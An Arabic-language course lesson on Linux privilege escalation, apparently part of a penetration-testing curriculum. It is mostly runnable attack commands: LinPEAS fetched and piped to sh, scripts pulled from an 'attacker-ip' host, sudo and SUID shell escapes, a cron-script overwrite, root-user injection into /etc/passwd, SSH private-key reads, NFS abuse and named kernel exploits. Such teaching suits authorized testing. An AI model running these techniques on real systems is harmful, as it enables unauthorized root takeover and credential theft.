الدرس 17 من 24

ما بعد الاستغلال وتصعيد الصلاحيات

تصعيد الصلاحيات في Linux

5 دقيقة للقراءة

بعد الحصول على الوصول الأولي، التصعيد إلى root ضروري للتحكم الكامل بالنظام. يغطي هذا الدرس أكثر تقنيات تصعيد الصلاحيات شيوعاً في Linux.

نصوص الاستطلاع

LinPEAS (موصى به)

# التحميل والتشغيل
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# أو النقل والتشغيل
wget http://attacker-ip/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinEnum

wget http://attacker-ip/linenum.sh
chmod +x linenum.sh
./linenum.sh -t

Linux Exploit Suggester

wget http://attacker-ip/les.sh
chmod +x les.sh
./les.sh

الاستطلاع اليدوي

معلومات النظام

# نظام التشغيل و kernel
uname -a
cat /etc/issue
cat /etc/*-release
cat /proc/version

# المستخدم الحالي
id
whoami

# جميع المستخدمين
cat /etc/passwd
cat /etc/group

# صلاحيات sudo
sudo -l

ثنائيات SUID/SGID

# إيجاد ثنائيات SUID
find / -perm -u=s -type f 2>/dev/null

# إيجاد ثنائيات SGID
find / -perm -g=s -type f 2>/dev/null

# كلاهما
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

الملفات القابلة للكتابة

# ملفات قابلة للكتابة للجميع
find / -writable -type f 2>/dev/null

# دلائل قابلة للكتابة
find / -writable -type d 2>/dev/null

# ملفات /etc قابلة للكتابة
find /etc -writable -type f 2>/dev/null

تقنيات تصعيد الصلاحيات

1. إعداد sudo الخاطئ

فحص حقوق sudo:

sudo -l

إدخالات شائعة قابلة للاستغلال:

# إذا استطعت تشغيل vim كـ root
sudo vim -c ':!/bin/bash'

# إذا استطعت تشغيل less كـ root
sudo less /etc/passwd
!/bin/bash

# إذا استطعت تشغيل find كـ root
sudo find . -exec /bin/bash \; -quit

# إذا استطعت تشغيل python كـ root
sudo python -c 'import os; os.system("/bin/bash")'

# إذا استطعت تشغيل nmap كـ root (إصدارات قديمة)
sudo nmap --interactive
!sh

تحقق من GTFOBins للمزيد: gtfobins.github.io

2. استغلال SUID

تحديد ثنائيات SUID الضعيفة:

find / -perm -u=s -type f 2>/dev/null

ثنائيات SUID الشائعة القابلة للاستغلال:

# /usr/bin/find
find . -exec /bin/sh -p \; -quit

# /usr/bin/vim
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# /usr/bin/bash
bash -p

# /usr/bin/python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# /usr/bin/nmap (الوضع التفاعلي)
nmap --interactive
!sh

3. القدرات

# إيجاد الملفات ذات القدرات
getcap -r / 2>/dev/null

استغلال cap_setuid:

# إذا كان python لديه cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

4. مهام Cron

# فحص مهام cron
cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/*

# فحص النصوص القابلة للكتابة
ls -la /path/to/cron/script

# فحص PATH في crontab
# إذا تضمن PATH دليلاً قابلاً للكتابة، أنشئ نصاً برمجياً خبيثاً

استغلال نص cron قابل للكتابة:

# إذا كان /opt/script.sh قابلاً للكتابة ويعمل كـ root
echo '#!/bin/bash' > /opt/script.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/script.sh

# انتظر cron، ثم:
/tmp/rootbash -p

5. ثغرات Kernel

# فحص إصدار kernel
uname -r

# البحث عن ثغرات
searchsploit "Linux Kernel $(uname -r)"

ثغرات kernel الملحوظة:

الثغرة الإصدارات المتأثرة
DirtyCow (CVE-2016-5195) Linux < 4.8.3
DirtyPipe (CVE-2022-0847) Linux 5.8 - 5.16.11
PwnKit (CVE-2021-4034) معظم أنظمة Linux

6. /etc/passwd قابل للكتابة

# إذا كان /etc/passwd قابلاً للكتابة، أضف مستخدم root
openssl passwd -1 password123
# الإخراج: $1$xyz$hashedpassword

# أضف إلى /etc/passwd
echo 'root2:$1$xyz$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd

# انتقل للمستخدم الجديد root
su root2
# كلمة المرور: password123

7. مفاتيح SSH

# فحص مفاتيح SSH القابلة للقراءة
cat /home/*/.ssh/id_rsa
cat /root/.ssh/id_rsa

# فحص authorized_keys القابل للكتابة
ls -la /root/.ssh/
# إذا كان قابلاً للكتابة، أضف مفتاحك العام

8. إعداد NFS الخاطئ

# فحص /etc/exports
cat /etc/exports
# ابحث عن: no_root_squash

# على جهاز المهاجم:
showmount -e target-ip
mount -t nfs target-ip:/share /mnt

# إنشاء shell SUID
cp /bin/bash /mnt/rootbash
chmod +s /mnt/rootbash

# على الهدف:
/share/rootbash -p

منهجية تصعيد الصلاحيات

1. تشغيل نص الاستطلاع (LinPEAS)
2. فحص sudo -l
3. إيجاد ثنائيات SUID/SGID
4. فحص مهام cron
5. البحث عن بيانات اعتماد في الملفات
6. فحص إصدار kernel للثغرات
7. فحص القدرات
8. فحص الملفات/الدلائل القابلة للكتابة
9. البحث عن إعدادات NFS الخاطئة
10. فحص هروب Docker/LXC

مرجع سريع

# استطلاع أساسي
id; whoami; hostname
uname -a
cat /etc/passwd

# Sudo
sudo -l

# SUID
find / -perm -u=s -type f 2>/dev/null

# Cron
cat /etc/crontab
ls -la /etc/cron.*

# القدرات
getcap -r / 2>/dev/null

# قابل للكتابة
find / -writable -type f 2>/dev/null

في الدرس التالي، سنغطي تقنيات تصعيد الصلاحيات في Windows. :::

اختبار

الوحدة 5: ما بعد الاستغلال وتصعيد الصلاحيات

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.